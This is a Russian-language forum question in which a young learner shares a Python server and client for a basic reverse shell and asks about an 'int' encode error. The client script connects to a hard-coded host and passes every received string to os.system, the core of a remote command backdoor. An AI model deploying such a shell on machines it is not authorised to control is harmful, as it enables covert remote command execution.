Я программирую обратный сбор оболочки в python, используя сокет, и я получаю сообщение об ошибке, в котором «int» объект не имеет атрибута «encode» - PullRequest
0 голосов
/ 21 марта 2020

Все это закодировано в python 3.8. Это мой серверный скрипт:

import socket
import os
from cmd_colorizer import colored

os.system("cls")

s = socket.socket()
host = socket.gethostname()
port = 8080
s.bind((host, port))
print(colored("[+] Server is running", "green"))
print(colored("[*] Waiting for connection...", "yellow"))
s.listen(1)
conn, addr = s.accept()
print(colored("[+] Shell established!", "green"))

while True:
    cmd = input(str("~#> "))

    if cmd == "exit":
        exit()

, а это мой клиентский скрипт:

import socket
import os

os.system("cls")

s = socket.socket()
port = 8080
host = "DESKTOP-3EG5VR9"
s.connect((host, port))

while True:
    data = s.recv(1024).decode()
    redata = os.system(data)
    s.send(str(redata.encode()))

Извините, если это глупый вопрос им 12 и ОБУЧЕНИЕ python. Кто-нибудь может помочь?

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...